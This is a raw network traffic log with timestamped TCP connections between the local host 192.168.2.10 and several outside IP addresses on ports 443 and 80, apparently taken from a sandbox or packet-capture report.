Apr 15, 2025 20:06:18.146233082 CEST	443	49696	5.161.110.119	192.168.2.10
Apr 15, 2025 20:06:18.146321058 CEST	49696	443	192.168.2.10	5.161.110.119
Apr 15, 2025 20:06:18.146799088 CEST	49696	443	192.168.2.10	5.161.110.119
Apr 15, 2025 20:06:18.146812916 CEST	443	49696	5.161.110.119	192.168.2.10
Apr 15, 2025 20:06:18.147070885 CEST	443	49696	5.161.110.119	192.168.2.10
Apr 15, 2025 20:06:18.148277998 CEST	443	49695	5.161.110.119	192.168.2.10
Apr 15, 2025 20:06:18.190931082 CEST	49696	443	192.168.2.10	5.161.110.119
Apr 15, 2025 20:06:18.340677977 CEST	443	49695	5.161.110.119	192.168.2.10
Apr 15, 2025 20:06:18.340755939 CEST	443	49695	5.161.110.119	192.168.2.10
Apr 15, 2025 20:06:18.340979099 CEST	49695	443	192.168.2.10	5.161.110.119
Apr 15, 2025 20:06:18.341794968 CEST	49695	443	192.168.2.10	5.161.110.119
Apr 15, 2025 20:06:18.341818094 CEST	443	49695	5.161.110.119	192.168.2.10
Apr 15, 2025 20:06:18.486546993 CEST	49697	443	192.168.2.10	104.21.16.1
Apr 15, 2025 20:06:18.486604929 CEST	443	49697	104.21.16.1	192.168.2.10
Apr 15, 2025 20:06:18.486690044 CEST	49697	443	192.168.2.10	104.21.16.1
Apr 15, 2025 20:06:18.486921072 CEST	49697	443	192.168.2.10	104.21.16.1
Apr 15, 2025 20:06:18.486937046 CEST	443	49697	104.21.16.1	192.168.2.10
Apr 15, 2025 20:06:18.753252983 CEST	443	49697	104.21.16.1	192.168.2.10
Apr 15, 2025 20:06:18.753528118 CEST	49697	443	192.168.2.10	104.21.16.1
Apr 15, 2025 20:06:18.754925013 CEST	49697	443	192.168.2.10	104.21.16.1
Apr 15, 2025 20:06:18.754944086 CEST	443	49697	104.21.16.1	192.168.2.10
Apr 15, 2025 20:06:18.755364895 CEST	443	49697	104.21.16.1	192.168.2.10
Apr 15, 2025 20:06:18.755763054 CEST	49697	443	192.168.2.10	104.21.16.1
Apr 15, 2025 20:06:18.796281099 CEST	443	49697	104.21.16.1	192.168.2.10
Apr 15, 2025 20:06:19.066687107 CEST	49677	443	192.168.2.10	2.23.227.208
Apr 15, 2025 20:06:19.066689968 CEST	49676	443	192.168.2.10	2.23.227.208
Apr 15, 2025 20:06:19.069638968 CEST	49675	443	192.168.2.10	2.23.227.208
Apr 15, 2025 20:06:20.761460066 CEST	443	49697	104.21.16.1	192.168.2.10
Apr 15, 2025 20:06:20.761514902 CEST	443	49697	104.21.16.1	192.168.2.10
Apr 15, 2025 20:06:20.761549950 CEST	443	49697	104.21.16.1	192.168.2.10
Apr 15, 2025 20:06:20.761574030 CEST	49697	443	192.168.2.10	104.21.16.1
Apr 15, 2025 20:06:20.761598110 CEST	443	49697	104.21.16.1	192.168.2.10
Apr 15, 2025 20:06:20.761665106 CEST	443	49697	104.21.16.1	192.168.2.10
Apr 15, 2025 20:06:20.761699915 CEST	49697	443	192.168.2.10	104.21.16.1
Apr 15, 2025 20:06:20.761799097 CEST	49697	443	192.168.2.10	104.21.16.1
Apr 15, 2025 20:06:20.763123989 CEST	49697	443	192.168.2.10	104.21.16.1
Apr 15, 2025 20:06:20.763153076 CEST	443	49697	104.21.16.1	192.168.2.10
Apr 15, 2025 20:06:20.817028046 CEST	49698	443	192.168.2.10	104.21.16.1
Apr 15, 2025 20:06:20.817084074 CEST	443	49698	104.21.16.1	192.168.2.10
Apr 15, 2025 20:06:20.817167997 CEST	49698	443	192.168.2.10	104.21.16.1
Apr 15, 2025 20:06:20.817545891 CEST	49699	443	192.168.2.10	104.21.16.1
Apr 15, 2025 20:06:20.817584991 CEST	443	49699	104.21.16.1	192.168.2.10
Apr 15, 2025 20:06:20.817655087 CEST	49699	443	192.168.2.10	104.21.16.1
Apr 15, 2025 20:06:20.817708015 CEST	49698	443	192.168.2.10	104.21.16.1
Apr 15, 2025 20:06:20.817723989 CEST	443	49698	104.21.16.1	192.168.2.10
Apr 15, 2025 20:06:20.817802906 CEST	49699	443	192.168.2.10	104.21.16.1
Apr 15, 2025 20:06:20.817817926 CEST	443	49699	104.21.16.1	192.168.2.10
Apr 15, 2025 20:06:21.072510004 CEST	443	49698	104.21.16.1	192.168.2.10
Apr 15, 2025 20:06:21.072851896 CEST	49698	443	192.168.2.10	104.21.16.1
Apr 15, 2025 20:06:21.072873116 CEST	443	49698	104.21.16.1	192.168.2.10
Apr 15, 2025 20:06:21.073043108 CEST	49698	443	192.168.2.10	104.21.16.1
Apr 15, 2025 20:06:21.073048115 CEST	443	49698	104.21.16.1	192.168.2.10
Apr 15, 2025 20:06:21.078207016 CEST	443	49699	104.21.16.1	192.168.2.10
Apr 15, 2025 20:06:21.078385115 CEST	49699	443	192.168.2.10	104.21.16.1
Apr 15, 2025 20:06:21.078419924 CEST	443	49699	104.21.16.1	192.168.2.10
Apr 15, 2025 20:06:21.078593969 CEST	49699	443	192.168.2.10	104.21.16.1
Apr 15, 2025 20:06:21.078600883 CEST	443	49699	104.21.16.1	192.168.2.10
Apr 15, 2025 20:06:21.839613914 CEST	443	49698	104.21.16.1	192.168.2.10
Apr 15, 2025 20:06:21.839668989 CEST	443	49698	104.21.16.1	192.168.2.10
Apr 15, 2025 20:06:21.839771986 CEST	443	49698	104.21.16.1	192.168.2.10
Apr 15, 2025 20:06:21.839840889 CEST	49698	443	192.168.2.10	104.21.16.1
Apr 15, 2025 20:06:21.839875937 CEST	49698	443	192.168.2.10	104.21.16.1
Apr 15, 2025 20:06:21.841341972 CEST	49698	443	192.168.2.10	104.21.16.1
Apr 15, 2025 20:06:21.841360092 CEST	443	49698	104.21.16.1	192.168.2.10
Apr 15, 2025 20:06:21.894184113 CEST	443	49699	104.21.16.1	192.168.2.10
Apr 15, 2025 20:06:21.894246101 CEST	443	49699	104.21.16.1	192.168.2.10
Apr 15, 2025 20:06:21.894273043 CEST	443	49699	104.21.16.1	192.168.2.10
Apr 15, 2025 20:06:21.894364119 CEST	443	49699	104.21.16.1	192.168.2.10
Apr 15, 2025 20:06:21.894380093 CEST	49699	443	192.168.2.10	104.21.16.1
Apr 15, 2025 20:06:21.894418955 CEST	49699	443	192.168.2.10	104.21.16.1
Apr 15, 2025 20:06:21.896998882 CEST	49699	443	192.168.2.10	104.21.16.1
Apr 15, 2025 20:06:21.897018909 CEST	443	49699	104.21.16.1	192.168.2.10
Apr 15, 2025 20:06:21.958879948 CEST	49700	443	192.168.2.10	104.21.16.1
Apr 15, 2025 20:06:21.958934069 CEST	443	49700	104.21.16.1	192.168.2.10
Apr 15, 2025 20:06:21.959059954 CEST	49700	443	192.168.2.10	104.21.16.1
Apr 15, 2025 20:06:21.959439039 CEST	49700	443	192.168.2.10	104.21.16.1
Apr 15, 2025 20:06:21.959453106 CEST	443	49700	104.21.16.1	192.168.2.10
Apr 15, 2025 20:06:22.120151043 CEST	49705	443	192.168.2.10	104.21.16.1
Apr 15, 2025 20:06:22.120220900 CEST	443	49705	104.21.16.1	192.168.2.10
Apr 15, 2025 20:06:22.120757103 CEST	49705	443	192.168.2.10	104.21.16.1
Apr 15, 2025 20:06:22.123534918 CEST	49705	443	192.168.2.10	104.21.16.1
Apr 15, 2025 20:06:22.123572111 CEST	443	49705	104.21.16.1	192.168.2.10
Apr 15, 2025 20:06:22.215444088 CEST	443	49700	104.21.16.1	192.168.2.10
Apr 15, 2025 20:06:22.215753078 CEST	49700	443	192.168.2.10	104.21.16.1
Apr 15, 2025 20:06:22.215780973 CEST	443	49700	104.21.16.1	192.168.2.10
Apr 15, 2025 20:06:22.216011047 CEST	49700	443	192.168.2.10	104.21.16.1
Apr 15, 2025 20:06:22.216017008 CEST	443	49700	104.21.16.1	192.168.2.10
Apr 15, 2025 20:06:22.373025894 CEST	443	49705	104.21.16.1	192.168.2.10
Apr 15, 2025 20:06:22.422585964 CEST	49705	443	192.168.2.10	104.21.16.1
Apr 15, 2025 20:06:22.433209896 CEST	49705	443	192.168.2.10	104.21.16.1
Apr 15, 2025 20:06:22.433233976 CEST	443	49705	104.21.16.1	192.168.2.10
Apr 15, 2025 20:06:22.433639050 CEST	49705	443	192.168.2.10	104.21.16.1
Apr 15, 2025 20:06:22.433644056 CEST	443	49705	104.21.16.1	192.168.2.10
Apr 15, 2025 20:06:22.680155039 CEST	443	49705	104.21.16.1	192.168.2.10
Apr 15, 2025 20:06:22.680227041 CEST	443	49705	104.21.16.1	192.168.2.10
Apr 15, 2025 20:06:22.680335999 CEST	49705	443	192.168.2.10	104.21.16.1
Apr 15, 2025 20:06:22.681020975 CEST	49705	443	192.168.2.10	104.21.16.1
Apr 15, 2025 20:06:22.681036949 CEST	443	49705	104.21.16.1	192.168.2.10
Apr 15, 2025 20:06:22.682921886 CEST	49706	443	192.168.2.10	104.21.16.1
Apr 15, 2025 20:06:22.682955027 CEST	443	49706	104.21.16.1	192.168.2.10
Apr 15, 2025 20:06:22.683048010 CEST	49706	443	192.168.2.10	104.21.16.1
Apr 15, 2025 20:06:22.683190107 CEST	49706	443	192.168.2.10	104.21.16.1
Apr 15, 2025 20:06:22.683199883 CEST	443	49706	104.21.16.1	192.168.2.10
Apr 15, 2025 20:06:22.933465958 CEST	443	49706	104.21.16.1	192.168.2.10
Apr 15, 2025 20:06:22.933887005 CEST	49706	443	192.168.2.10	104.21.16.1
Apr 15, 2025 20:06:22.933907032 CEST	443	49706	104.21.16.1	192.168.2.10
Apr 15, 2025 20:06:22.934093952 CEST	49706	443	192.168.2.10	104.21.16.1
Apr 15, 2025 20:06:22.934098959 CEST	443	49706	104.21.16.1	192.168.2.10
Apr 15, 2025 20:06:23.235683918 CEST	443	49706	104.21.16.1	192.168.2.10
Apr 15, 2025 20:06:23.235733986 CEST	443	49706	104.21.16.1	192.168.2.10
Apr 15, 2025 20:06:23.235763073 CEST	443	49706	104.21.16.1	192.168.2.10
Apr 15, 2025 20:06:23.235784054 CEST	443	49706	104.21.16.1	192.168.2.10
Apr 15, 2025 20:06:23.235790014 CEST	49706	443	192.168.2.10	104.21.16.1
Apr 15, 2025 20:06:23.235810995 CEST	443	49706	104.21.16.1	192.168.2.10
Apr 15, 2025 20:06:23.235933065 CEST	49706	443	192.168.2.10	104.21.16.1
Apr 15, 2025 20:06:23.235965014 CEST	443	49706	104.21.16.1	192.168.2.10
Apr 15, 2025 20:06:23.236011982 CEST	49706	443	192.168.2.10	104.21.16.1
Apr 15, 2025 20:06:23.236016035 CEST	443	49706	104.21.16.1	192.168.2.10
Apr 15, 2025 20:06:23.236064911 CEST	443	49706	104.21.16.1	192.168.2.10
Apr 15, 2025 20:06:23.236145020 CEST	49706	443	192.168.2.10	104.21.16.1
Apr 15, 2025 20:06:23.238363981 CEST	49706	443	192.168.2.10	104.21.16.1
Apr 15, 2025 20:06:23.238379002 CEST	443	49706	104.21.16.1	192.168.2.10
Apr 15, 2025 20:06:23.360016108 CEST	49672	443	192.168.2.10	204.79.197.203
Apr 15, 2025 20:06:23.385831118 CEST	443	49700	104.21.16.1	192.168.2.10
Apr 15, 2025 20:06:23.385948896 CEST	443	49700	104.21.16.1	192.168.2.10
Apr 15, 2025 20:06:23.385997057 CEST	49700	443	192.168.2.10	104.21.16.1
Apr 15, 2025 20:06:23.389661074 CEST	49700	443	192.168.2.10	104.21.16.1
Apr 15, 2025 20:06:23.389686108 CEST	443	49700	104.21.16.1	192.168.2.10
Apr 15, 2025 20:06:23.421127081 CEST	49707	443	192.168.2.10	104.21.16.1
Apr 15, 2025 20:06:23.421169043 CEST	443	49707	104.21.16.1	192.168.2.10
Apr 15, 2025 20:06:23.421228886 CEST	49707	443	192.168.2.10	104.21.16.1
Apr 15, 2025 20:06:23.421474934 CEST	49707	443	192.168.2.10	104.21.16.1
Apr 15, 2025 20:06:23.421485901 CEST	443	49707	104.21.16.1	192.168.2.10
Apr 15, 2025 20:06:23.497123957 CEST	49708	443	192.168.2.10	35.190.80.1
Apr 15, 2025 20:06:23.497160912 CEST	443	49708	35.190.80.1	192.168.2.10
Apr 15, 2025 20:06:23.497220039 CEST	49708	443	192.168.2.10	35.190.80.1
Apr 15, 2025 20:06:23.497428894 CEST	49708	443	192.168.2.10	35.190.80.1
Apr 15, 2025 20:06:23.497441053 CEST	443	49708	35.190.80.1	192.168.2.10
Apr 15, 2025 20:06:23.664947033 CEST	49672	443	192.168.2.10	204.79.197.203
Apr 15, 2025 20:06:23.675951004 CEST	443	49707	104.21.16.1	192.168.2.10
Apr 15, 2025 20:06:23.676412106 CEST	49707	443	192.168.2.10	104.21.16.1
Apr 15, 2025 20:06:23.676453114 CEST	443	49707	104.21.16.1	192.168.2.10
Apr 15, 2025 20:06:23.676641941 CEST	49707	443	192.168.2.10	104.21.16.1
Apr 15, 2025 20:06:23.676650047 CEST	443	49707	104.21.16.1	192.168.2.10
Apr 15, 2025 20:06:23.676713943 CEST	49707	443	192.168.2.10	104.21.16.1
Apr 15, 2025 20:06:23.676729918 CEST	443	49707	104.21.16.1	192.168.2.10
Apr 15, 2025 20:06:23.676774979 CEST	49707	443	192.168.2.10	104.21.16.1
Apr 15, 2025 20:06:23.676780939 CEST	443	49707	104.21.16.1	192.168.2.10
Apr 15, 2025 20:06:23.676809072 CEST	49707	443	192.168.2.10	104.21.16.1
Apr 15, 2025 20:06:23.676815033 CEST	443	49707	104.21.16.1	192.168.2.10
Apr 15, 2025 20:06:23.720922947 CEST	443	49708	35.190.80.1	192.168.2.10
Apr 15, 2025 20:06:23.721071005 CEST	49708	443	192.168.2.10	35.190.80.1
Apr 15, 2025 20:06:23.722464085 CEST	49708	443	192.168.2.10	35.190.80.1
Apr 15, 2025 20:06:23.722477913 CEST	443	49708	35.190.80.1	192.168.2.10
Apr 15, 2025 20:06:23.722733974 CEST	443	49708	35.190.80.1	192.168.2.10
Apr 15, 2025 20:06:23.723186970 CEST	49708	443	192.168.2.10	35.190.80.1
Apr 15, 2025 20:06:23.768275976 CEST	443	49708	35.190.80.1	192.168.2.10
Apr 15, 2025 20:06:23.932893038 CEST	443	49707	104.21.16.1	192.168.2.10
Apr 15, 2025 20:06:23.933016062 CEST	443	49707	104.21.16.1	192.168.2.10
Apr 15, 2025 20:06:23.933080912 CEST	49707	443	192.168.2.10	104.21.16.1
Apr 15, 2025 20:06:23.933964014 CEST	49707	443	192.168.2.10	104.21.16.1
Apr 15, 2025 20:06:23.933983088 CEST	443	49707	104.21.16.1	192.168.2.10
Apr 15, 2025 20:06:23.955069065 CEST	443	49708	35.190.80.1	192.168.2.10
Apr 15, 2025 20:06:23.955144882 CEST	443	49708	35.190.80.1	192.168.2.10
Apr 15, 2025 20:06:23.955199003 CEST	49708	443	192.168.2.10	35.190.80.1
Apr 15, 2025 20:06:23.955435038 CEST	49708	443	192.168.2.10	35.190.80.1
Apr 15, 2025 20:06:23.955451965 CEST	443	49708	35.190.80.1	192.168.2.10
Apr 15, 2025 20:06:23.956207037 CEST	49709	443	192.168.2.10	35.190.80.1
Apr 15, 2025 20:06:23.956248999 CEST	443	49709	35.190.80.1	192.168.2.10
Apr 15, 2025 20:06:23.956347942 CEST	49709	443	192.168.2.10	35.190.80.1
Apr 15, 2025 20:06:23.956551075 CEST	49709	443	192.168.2.10	35.190.80.1
Apr 15, 2025 20:06:23.956569910 CEST	443	49709	35.190.80.1	192.168.2.10
Apr 15, 2025 20:06:24.080781937 CEST	49710	443	192.168.2.10	104.21.64.1
Apr 15, 2025 20:06:24.080828905 CEST	443	49710	104.21.64.1	192.168.2.10
Apr 15, 2025 20:06:24.080924034 CEST	49710	443	192.168.2.10	104.21.64.1
Apr 15, 2025 20:06:24.081181049 CEST	49710	443	192.168.2.10	104.21.64.1
Apr 15, 2025 20:06:24.081192970 CEST	443	49710	104.21.64.1	192.168.2.10
Apr 15, 2025 20:06:24.174577951 CEST	443	49709	35.190.80.1	192.168.2.10
Apr 15, 2025 20:06:24.174993992 CEST	49709	443	192.168.2.10	35.190.80.1
Apr 15, 2025 20:06:24.175014973 CEST	443	49709	35.190.80.1	192.168.2.10
Apr 15, 2025 20:06:24.175142050 CEST	49709	443	192.168.2.10	35.190.80.1
Apr 15, 2025 20:06:24.175147057 CEST	443	49709	35.190.80.1	192.168.2.10
Apr 15, 2025 20:06:24.268409967 CEST	49672	443	192.168.2.10	204.79.197.203
Apr 15, 2025 20:06:24.331387997 CEST	443	49710	104.21.64.1	192.168.2.10
Apr 15, 2025 20:06:24.331573009 CEST	49710	443	192.168.2.10	104.21.64.1
Apr 15, 2025 20:06:24.332448006 CEST	49710	443	192.168.2.10	104.21.64.1
Apr 15, 2025 20:06:24.332457066 CEST	443	49710	104.21.64.1	192.168.2.10
Apr 15, 2025 20:06:24.332689047 CEST	443	49710	104.21.64.1	192.168.2.10
Apr 15, 2025 20:06:24.332978964 CEST	49710	443	192.168.2.10	104.21.64.1
Apr 15, 2025 20:06:24.376274109 CEST	443	49710	104.21.64.1	192.168.2.10
Apr 15, 2025 20:06:24.417310953 CEST	443	49709	35.190.80.1	192.168.2.10
Apr 15, 2025 20:06:24.417386055 CEST	443	49709	35.190.80.1	192.168.2.10
Apr 15, 2025 20:06:24.417517900 CEST	49709	443	192.168.2.10	35.190.80.1
Apr 15, 2025 20:06:24.417959929 CEST	49709	443	192.168.2.10	35.190.80.1
Apr 15, 2025 20:06:24.417978048 CEST	443	49709	35.190.80.1	192.168.2.10
Apr 15, 2025 20:06:24.628776073 CEST	443	49710	104.21.64.1	192.168.2.10
Apr 15, 2025 20:06:24.628842115 CEST	443	49710	104.21.64.1	192.168.2.10
Apr 15, 2025 20:06:24.628959894 CEST	49710	443	192.168.2.10	104.21.64.1
Apr 15, 2025 20:06:24.629772902 CEST	49710	443	192.168.2.10	104.21.64.1
Apr 15, 2025 20:06:24.629792929 CEST	443	49710	104.21.64.1	192.168.2.10
Apr 15, 2025 20:06:25.246344090 CEST	49711	443	192.168.2.10	216.24.57.1
Apr 15, 2025 20:06:25.246406078 CEST	443	49711	216.24.57.1	192.168.2.10
Apr 15, 2025 20:06:25.246474981 CEST	49711	443	192.168.2.10	216.24.57.1
Apr 15, 2025 20:06:25.246711016 CEST	49711	443	192.168.2.10	216.24.57.1
Apr 15, 2025 20:06:25.246722937 CEST	443	49711	216.24.57.1	192.168.2.10
Apr 15, 2025 20:06:25.470515966 CEST	49672	443	192.168.2.10	204.79.197.203
Apr 15, 2025 20:06:25.479147911 CEST	443	49711	216.24.57.1	192.168.2.10
Apr 15, 2025 20:06:25.479227066 CEST	49711	443	192.168.2.10	216.24.57.1
Apr 15, 2025 20:06:25.483228922 CEST	49711	443	192.168.2.10	216.24.57.1
Apr 15, 2025 20:06:25.483253002 CEST	443	49711	216.24.57.1	192.168.2.10
Apr 15, 2025 20:06:25.483517885 CEST	443	49711	216.24.57.1	192.168.2.10
Apr 15, 2025 20:06:25.484165907 CEST	49711	443	192.168.2.10	216.24.57.1
Apr 15, 2025 20:06:25.528279066 CEST	443	49711	216.24.57.1	192.168.2.10
Apr 15, 2025 20:06:26.021946907 CEST	443	49711	216.24.57.1	192.168.2.10
Apr 15, 2025 20:06:26.022093058 CEST	443	49711	216.24.57.1	192.168.2.10
Apr 15, 2025 20:06:26.022209883 CEST	49711	443	192.168.2.10	216.24.57.1
Apr 15, 2025 20:06:26.024025917 CEST	49714	443	192.168.2.10	216.24.57.1
Apr 15, 2025 20:06:26.024071932 CEST	443	49714	216.24.57.1	192.168.2.10
Apr 15, 2025 20:06:26.024137020 CEST	49714	443	192.168.2.10	216.24.57.1
Apr 15, 2025 20:06:26.024620056 CEST	49711	443	192.168.2.10	216.24.57.1
Apr 15, 2025 20:06:26.024647951 CEST	443	49711	216.24.57.1	192.168.2.10
Apr 15, 2025 20:06:26.025029898 CEST	49714	443	192.168.2.10	216.24.57.1
Apr 15, 2025 20:06:26.025055885 CEST	443	49714	216.24.57.1	192.168.2.10
Apr 15, 2025 20:06:26.247934103 CEST	443	49714	216.24.57.1	192.168.2.10
Apr 15, 2025 20:06:26.248503923 CEST	49714	443	192.168.2.10	216.24.57.1
Apr 15, 2025 20:06:26.248522043 CEST	443	49714	216.24.57.1	192.168.2.10
Apr 15, 2025 20:06:26.248780012 CEST	49714	443	192.168.2.10	216.24.57.1
Apr 15, 2025 20:06:26.248789072 CEST	443	49714	216.24.57.1	192.168.2.10
Apr 15, 2025 20:06:26.673144102 CEST	443	49714	216.24.57.1	192.168.2.10
Apr 15, 2025 20:06:26.673278093 CEST	443	49714	216.24.57.1	192.168.2.10
Apr 15, 2025 20:06:26.673433065 CEST	49714	443	192.168.2.10	216.24.57.1
Apr 15, 2025 20:06:26.675110102 CEST	49714	443	192.168.2.10	216.24.57.1
Apr 15, 2025 20:06:26.675129890 CEST	443	49714	216.24.57.1	192.168.2.10
Apr 15, 2025 20:06:26.712290049 CEST	443	49694	173.194.219.99	192.168.2.10
Apr 15, 2025 20:06:26.712352037 CEST	443	49694	173.194.219.99	192.168.2.10
Apr 15, 2025 20:06:26.712403059 CEST	49694	443	192.168.2.10	173.194.219.99
Apr 15, 2025 20:06:26.720585108 CEST	49694	443	192.168.2.10	173.194.219.99
Apr 15, 2025 20:06:26.720623970 CEST	443	49694	173.194.219.99	192.168.2.10
Apr 15, 2025 20:06:26.935084105 CEST	49715	443	192.168.2.10	216.24.57.1
Apr 15, 2025 20:06:26.935132027 CEST	443	49715	216.24.57.1	192.168.2.10
Apr 15, 2025 20:06:26.935235977 CEST	49715	443	192.168.2.10	216.24.57.1
Apr 15, 2025 20:06:26.935599089 CEST	49715	443	192.168.2.10	216.24.57.1
Apr 15, 2025 20:06:26.935611010 CEST	443	49715	216.24.57.1	192.168.2.10
Apr 15, 2025 20:06:26.990561008 CEST	49716	443	192.168.2.10	216.24.57.1
Apr 15, 2025 20:06:26.990607023 CEST	443	49716	216.24.57.1	192.168.2.10
Apr 15, 2025 20:06:26.990680933 CEST	49716	443	192.168.2.10	216.24.57.1
Apr 15, 2025 20:06:26.991089106 CEST	49716	443	192.168.2.10	216.24.57.1
Apr 15, 2025 20:06:26.991100073 CEST	443	49716	216.24.57.1	192.168.2.10
Apr 15, 2025 20:06:26.999340057 CEST	49717	80	192.168.2.10	216.24.57.1
Apr 15, 2025 20:06:26.999517918 CEST	49718	80	192.168.2.10	216.24.57.1
Apr 15, 2025 20:06:27.105647087 CEST	80	49718	216.24.57.1	192.168.2.10
Apr 15, 2025 20:06:27.105777025 CEST	49718	80	192.168.2.10	216.24.57.1
Apr 15, 2025 20:06:27.105901003 CEST	80	49717	216.24.57.1	192.168.2.10
Apr 15, 2025 20:06:27.105953932 CEST	49717	80	192.168.2.10	216.24.57.1
Apr 15, 2025 20:06:27.160504103 CEST	443	49715	216.24.57.1	192.168.2.10
Apr 15, 2025 20:06:27.160581112 CEST	49715	443	192.168.2.10	216.24.57.1
Apr 15, 2025 20:06:27.161612988 CEST	49715	443	192.168.2.10	216.24.57.1
Apr 15, 2025 20:06:27.161624908 CEST	443	49715	216.24.57.1	192.168.2.10
Apr 15, 2025 20:06:27.161896944 CEST	443	49715	216.24.57.1	192.168.2.10
Apr 15, 2025 20:06:27.162168026 CEST	49715	443	192.168.2.10	216.24.57.1
Apr 15, 2025 20:06:27.204282045 CEST	443	49715	216.24.57.1	192.168.2.10
Apr 15, 2025 20:06:27.214762926 CEST	443	49716	216.24.57.1	192.168.2.10
Apr 15, 2025 20:06:27.214837074 CEST	49716	443	192.168.2.10	216.24.57.1
Apr 15, 2025 20:06:27.215368032 CEST	49716	443	192.168.2.10	216.24.57.1
Apr 15, 2025 20:06:27.215380907 CEST	443	49716	216.24.57.1	192.168.2.10
Apr 15, 2025 20:06:27.216008902 CEST	443	49716	216.24.57.1	192.168.2.10
Apr 15, 2025 20:06:27.216479063 CEST	49716	443	192.168.2.10	216.24.57.1
Apr 15, 2025 20:06:27.264276981 CEST	443	49716	216.24.57.1	192.168.2.10
Apr 15, 2025 20:06:27.527306080 CEST	443	49715	216.24.57.1	192.168.2.10
Apr 15, 2025 20:06:27.527426958 CEST	443	49715	216.24.57.1	192.168.2.10
Apr 15, 2025 20:06:27.527512074 CEST	49715	443	192.168.2.10	216.24.57.1
Apr 15, 2025 20:06:27.572967052 CEST	443	49716	216.24.57.1	192.168.2.10
Apr 15, 2025 20:06:27.573107004 CEST	443	49716	216.24.57.1	192.168.2.10
Apr 15, 2025 20:06:27.577573061 CEST	49716	443	192.168.2.10	216.24.57.1
Apr 15, 2025 20:06:27.831631899 CEST	49715	443	192.168.2.10	216.24.57.1
Apr 15, 2025 20:06:27.831669092 CEST	443	49715	216.24.57.1	192.168.2.10
Apr 15, 2025 20:06:27.835212946 CEST	49716	443	192.168.2.10	216.24.57.1
Apr 15, 2025 20:06:27.835220098 CEST	443	49716	216.24.57.1	192.168.2.10
Apr 15, 2025 20:06:27.883002996 CEST	49672	443	192.168.2.10	204.79.197.203
Apr 15, 2025 20:06:27.991297007 CEST	49720	443	192.168.2.10	104.21.88.234
Apr 15, 2025 20:06:27.991343975 CEST	443	49720	104.21.88.234	192.168.2.10
Apr 15, 2025 20:06:27.991452932 CEST	49720	443	192.168.2.10	104.21.88.234
Apr 15, 2025 20:06:27.991621971 CEST	49720	443	192.168.2.10	104.21.88.234
Apr 15, 2025 20:06:27.991631985 CEST	443	49720	104.21.88.234	192.168.2.10
Apr 15, 2025 20:06:28.259345055 CEST	443	49720	104.21.88.234	192.168.2.10
Apr 15, 2025 20:06:28.259411097 CEST	49720	443	192.168.2.10	104.21.88.234
Apr 15, 2025 20:06:28.260695934 CEST	49720	443	192.168.2.10	104.21.88.234
Apr 15, 2025 20:06:28.260701895 CEST	443	49720	104.21.88.234	192.168.2.10
Apr 15, 2025 20:06:28.260931015 CEST	443	49720	104.21.88.234	192.168.2.10
Apr 15, 2025 20:06:28.261224031 CEST	49720	443	192.168.2.10	104.21.88.234
Apr 15, 2025 20:06:28.304270029 CEST	443	49720	104.21.88.234	192.168.2.10
Apr 15, 2025 20:06:28.705370903 CEST	443	49720	104.21.88.234	192.168.2.10
Apr 15, 2025 20:06:28.705434084 CEST	443	49720	104.21.88.234	192.168.2.10
Apr 15, 2025 20:06:28.705491066 CEST	49720	443	192.168.2.10	104.21.88.234
Apr 15, 2025 20:06:28.706022024 CEST	49720	443	192.168.2.10	104.21.88.234
Apr 15, 2025 20:06:28.706034899 CEST	443	49720	104.21.88.234	192.168.2.10
Apr 15, 2025 20:06:29.081739902 CEST	49722	443	192.168.2.10	76.76.21.21
Apr 15, 2025 20:06:29.081796885 CEST	443	49722	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:29.081890106 CEST	49722	443	192.168.2.10	76.76.21.21
Apr 15, 2025 20:06:29.082117081 CEST	49722	443	192.168.2.10	76.76.21.21
Apr 15, 2025 20:06:29.082130909 CEST	443	49722	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:29.341685057 CEST	443	49722	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:29.341767073 CEST	49722	443	192.168.2.10	76.76.21.21
Apr 15, 2025 20:06:29.347208023 CEST	49722	443	192.168.2.10	76.76.21.21
Apr 15, 2025 20:06:29.347219944 CEST	443	49722	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:29.347575903 CEST	443	49722	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:29.347887039 CEST	49722	443	192.168.2.10	76.76.21.21
Apr 15, 2025 20:06:29.392282963 CEST	443	49722	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:29.544487000 CEST	49724	80	192.168.2.10	108.177.122.94
Apr 15, 2025 20:06:29.650753975 CEST	80	49724	108.177.122.94	192.168.2.10
Apr 15, 2025 20:06:29.650875092 CEST	49724	80	192.168.2.10	108.177.122.94
Apr 15, 2025 20:06:29.651098967 CEST	49724	80	192.168.2.10	108.177.122.94
Apr 15, 2025 20:06:29.735687017 CEST	49722	443	192.168.2.10	76.76.21.21
Apr 15, 2025 20:06:29.735824108 CEST	443	49722	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:29.735888004 CEST	49722	443	192.168.2.10	76.76.21.21
Apr 15, 2025 20:06:29.739073038 CEST	49718	80	192.168.2.10	216.24.57.1
Apr 15, 2025 20:06:29.758002996 CEST	80	49724	108.177.122.94	192.168.2.10
Apr 15, 2025 20:06:29.758512974 CEST	80	49724	108.177.122.94	192.168.2.10
Apr 15, 2025 20:06:29.812886953 CEST	49724	80	192.168.2.10	108.177.122.94
Apr 15, 2025 20:06:29.844906092 CEST	80	49718	216.24.57.1	192.168.2.10
Apr 15, 2025 20:06:29.948070049 CEST	80	49718	216.24.57.1	192.168.2.10
Apr 15, 2025 20:06:29.956599951 CEST	49727	443	192.168.2.10	216.24.57.1
Apr 15, 2025 20:06:29.956650019 CEST	443	49727	216.24.57.1	192.168.2.10
Apr 15, 2025 20:06:29.956737995 CEST	49727	443	192.168.2.10	216.24.57.1
Apr 15, 2025 20:06:29.956981897 CEST	49727	443	192.168.2.10	216.24.57.1
Apr 15, 2025 20:06:29.956993103 CEST	443	49727	216.24.57.1	192.168.2.10
Apr 15, 2025 20:06:30.001863956 CEST	49718	80	192.168.2.10	216.24.57.1
Apr 15, 2025 20:06:30.179403067 CEST	443	49727	216.24.57.1	192.168.2.10
Apr 15, 2025 20:06:30.233464956 CEST	49727	443	192.168.2.10	216.24.57.1
Apr 15, 2025 20:06:30.386960030 CEST	49727	443	192.168.2.10	216.24.57.1
Apr 15, 2025 20:06:30.386991024 CEST	443	49727	216.24.57.1	192.168.2.10
Apr 15, 2025 20:06:30.388632059 CEST	49727	443	192.168.2.10	216.24.57.1
Apr 15, 2025 20:06:30.388642073 CEST	443	49727	216.24.57.1	192.168.2.10
